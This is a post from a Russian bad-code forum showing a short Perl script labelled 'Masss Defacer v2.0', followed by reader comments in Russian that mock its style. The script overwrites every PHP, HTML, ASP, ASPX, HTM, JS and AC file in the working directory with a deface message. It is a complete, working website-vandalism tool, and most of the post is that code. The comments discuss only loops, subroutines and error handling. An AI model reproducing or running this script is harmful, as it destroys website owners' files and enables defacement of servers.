1. Perl / Говнокод #307

    −388

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    #!/usr/bin/perl -w 
    #Masss Defacer v2.0 
    # Coded By illuz1oN 
    # Creditz - Nostur 
    $def = 'YOUR LAME DEFACE PAGE HERE =)'; 
    {        print "[+]DEFACING...\n"; 
             print"[+]DEFACING .PHP FILES...\n"; 
    		 my @php = glob("*.php"); #Files 
         foreach my $deface(@php){ 
         open(DEFACE, '>', $deface); 
         print DEFACE $def || print "[-]Fxcked up: $!\n"; 
         close(DEFACE) 
      } 
             print "[+]DEFACING .HTML FILES...\n"; 
             my @html = glob("*.html"); #Files 
         foreach my $deface(@html){ 
         open(DEFACE, '>', $deface); 
         print DEFACE $def || print "[-]Fxcked up: $!\n"; 
         close(DEFACE) 
      } 
             print "[+]DEFACING .ASP FILES...\n"; 
    		 my @asp = glob("*.asp"); #Files 
         foreach my $deface(@asp){ 
         open(DEFACE, '>', $deface); 
         print DEFACE $def || print "[-]Fxcked up: $!\n"; 
         close(DEFACE) 
      } 
             print "[+]DEFACING .ASPX FILES...\n"; 
    		 my @aspx = glob("*.aspx"); #Files 
         foreach my $deface(@aspx){ 
         open(DEFACE, '>', $deface); 
         print DEFACE $def || print "[-]Fxcked up: $!\n"; 
         close(DEFACE) 
      } 
             print "[+]DEFACING .HTM FILES...\n"; 
    		my @htm = glob("*.htm"); #Files 
         foreach my $deface(@htm){ 
         open(DEFACE, '>', $deface); 
         print DEFACE $def || print "[-]Fxcked up: $!\n"; 
         close(DEFACE) 
      } 
             print "[+]DEFACING .JS FILES...\n"; 
    	my @js = glob("*.js"); #Files 
         foreach my $deface(@js){ 
         open(DEFACE, '>', $deface); 
         print DEFACE $def || print "[-]Fxcked up: $!\n"; 
         close(DEFACE) 
      } 
             print "[+]DEFACING .AC FILES...\n"; 
    		 my @ac = glob("*.ac"); #Files 
         foreach my $deface(@ac){ 
         open(DEFACE, '>', $deface); 
         print DEFACE $def || print "[-]Fxcked up: $!\n"; 
         close(DEFACE) 
      } 
      print "[+]Pages Should Be Defaced!\n"; 
     
    } 
    #Coded By illuz1oN 
    #Credits - Nostur!

    Запостил: guest, 29 Декабря 2008

    Комментарии (7) RSS

    • Bobby:
      Не говнокод. Обычный Perl, как на нем писали в начале 90-х. Разве что можно было перезапись файла в отдельный sub оформить.
      Ответить
    • Протев!:
      Говнокод!!!!

      >open(DEFACE, '>', $deface)
      мдоооо...
      Интересно, нахрен придумали $_

      >open(DEFACE, '>', $deface);
      print DEFACE $def || print "[-]Fxcked up: $!\n";
      close(DEFACE)

      это ваще песдец, чуть не уссался.
      нет обработки ошибки открытия дескриптора.
      т.е. если не открыть, нахрена колдовать над закрытым дескриптором - i.e. close(DEFACE);
      надо next делать.
      ужость в общем. =\\\

      Капча согласна: 19861
      Ответить
    • > Интересно, нахрен придумали $_
      Чтобы говнокодеры могли писать невразумительный говнокод с его использованием.

      > это ваще песдец, чуть не уссался.
      > нет обработки ошибки открытия дескриптора.

      В такой мелкой утилитке это и не надо. Не открылось - последующий print не сможет записать в дескриптор, и close не сможет закрыть файл, но это никого не колышет.

      В общем, говнокод средненький. Каменты более показательны.
      Ответить
    • новички все так кодят
      Ответить
    • Странно, что никто не видит говнокода в том, что паттерны для файлов можно было бы засунуть в массив и сделать вложенный цикл, в результате чего код станет в 7 раз короче.
      Ответить
      • Странно, что Вы не прочитали ПЕРВЫЙ же коммент - "Разве что можно было перезапись файла в отдельный sub оформить."
        Цикл и/или sub - самоочевидно, вот и не о чём говорить.
        А появляются такие монстры обычно уже при поддержке - копипаста в ответ на "а ещё вот такие файлы".
        Ответить
        • sub появляется при повторном использовании кода. Я же не вижу здесь повторного использования кода - лишь повторное использование данных. Так что мой коммент отличается по сути от первого коммента, и я не считаю их взаимозаменяемыми. Сабы тут не нужны.
          Ответить

    Добавить комментарий